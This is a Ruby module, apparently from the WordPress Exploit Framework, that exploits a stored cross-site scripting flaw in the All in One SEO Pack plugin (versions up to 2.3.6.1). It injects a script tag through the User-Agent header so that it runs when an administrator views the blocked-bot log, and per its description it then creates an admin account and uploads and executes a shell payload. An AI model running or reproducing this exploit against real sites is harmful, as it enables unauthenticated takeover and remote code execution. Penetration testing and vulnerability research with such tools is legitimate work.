# frozen_string_literal: true

class Wpxf::Exploit::AllInOneSeoPackXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::Xss

  def initialize
    super

    update_info(
      name: 'All in One SEO Pack <= 2.3.6.1 Stored XSS Shell Upload',
      desc: %(
              This module exploits a lack of HTTP header sanitization in
              versions <= 2.3.6.1 of the All in One SEO Pack plugin which
              allows unauthenticated users to store a script that will
              create a new admin user and use the new credentials to upload
              and execute a payload when an admin views the blocked bot logs.
            ).strip,
      author: [
        'David Vaartjes', # Disclosure
        'rastating'       # WPXF module
      ],
      references: [
        ['WPVDB', '8538'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_all_in_one_seo_pack_wordpress_plugin.html']
      ],
      date: 'Jul 10 2016'
    )
  end

  def check
    check_plugin_version_from_readme('all-in-one-seo-pack', '2.3.6.2')
  end

  def blocked_bots
    [
      'Abonti',
      'aggregator',
      'AhrefsBot',
      'asterias',
      'BDCbot',
      'BLEXBot',
      'BuiltBotTough',
      'Bullseye',
      'BunnySlippers',
      'ca-crawler',
      'CCBot',
      'Cegbfeieh',
      'CheeseBot',
      'CherryPicker',
      'CopyRightCheck',
      'cosmos',
      'Crescent',
      'discobot',
      'DittoSpyder',
      'DotBot',
      'Download Ninja',
      'EasouSpider',
      'EmailCollector',
      'EmailSiphon',
      'EmailWolf',
      'EroCrawler',
      'Exabot',
      'ExtractorPro',
      'Fasterfox',
      'FeedBooster',
      'Foobot',
      'Genieo',
      'grub-client',
      'Harvest',
      'hloader',
      'httplib',
      'HTTrack',
      'humanlinks',
      'ieautodiscovery',
      'InfoNaviRobot',
      'IstellaBot',
      'Java/1.',
      'JennyBot',
      'k2spider',
      'Kenjin Spider',
      'Keyword Density/0.9',
      'larbin',
      'LexiBot',
      'libWeb',
      'libwww',
      'LinkextractorPro',
      'linko',
      'LinkScan/8.1a Unix',
      'LinkWalker',
      'LNSpiderguy',
      'lwp-trivial',
      'magpie',
      'Mata Hari',
      'MaxPointCrawler',
      'MegaIndex',
      'Microsoft URL Control',
      'MIIxpc',
      'Mippin',
      'Missigua Locator',
      'Mister PiX',
      'MJ12bot',
      'moget',
      'MSIECrawler',
      'NetAnts',
      'NICErsPRO',
      'Niki-Bot',
      'NPBot',
      'Nutch',
      'Offline Explorer',
      'Openfind',
      'panscient.com',
      'PHP/5.{',
      'ProPowerBot/2.14',
      'ProWebWalker',
      'Python-urllib',
      'QueryN Metasearch',
      'RepoMonkey',
      'RMA',
      'SemrushBot',
      'SeznamBot',
      'SISTRIX',
      'sitecheck.Internetseer.com',
      'SiteSnagger',
      'SnapPreviewBot',
      'Sogou',
      'SpankBot',
      'spanner',
      'spbot',
      'Spinn3r',
      'suzuran',
      'Szukacz/1.4',
      'Teleport',
      'Telesoft',
      'The Intraformant',
      'TheNomad',
      'TightTwatBot',
      'Titan',
      'toCrawl/UrlDispatcher',
      'True_Robot',
      'turingos',
      'TurnitinBot',
      'UbiCrawler',
      'UnisterBot',
      'URLy Warning',
      'VCI',
      'WBSearchBot',
      'Web Downloader/6.9',
      'Web Image Collector',
      'WebAuto',
      'WebBandit',
      'WebCopier',
      'WebEnhancer',
      'WebmasterWorldForumBot',
      'WebReaper',
      'WebSauger',
      'Website Quester',
      'Webster Pro',
      'WebStripper',
      'WebZip',
      'Wotbox',
      'wsr-agent',
      'WWW-Collector-E',
      'Xenu',
      'Zao',
      'Zeus',
      'ZyBORG',
      'coccoc',
      'Incutio',
      'lmspider',
      'memoryBot',
      'SemrushBot',
      'serf',
      'Unknown',
      'uptime files'
    ]
  end

  def store_script
    emit_info 'Storing script...'
    res = execute_get_request(
      url: full_uri,
      headers: {
        'User-Agent' => "#{blocked_bots.sample}<script>#{xss_ascii_encoded_include_script}</script>"
      }
    )

    if res.nil?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 503
      emit_warning "Server responded with code #{res.code}, expected 503"
    end

    true
  end

  def run
    return false unless super
    return false unless store_script

    emit_success 'Script stored and will be executed when a user views the blocked bots log'
    start_http_server

    xss_shell_success
  end
end
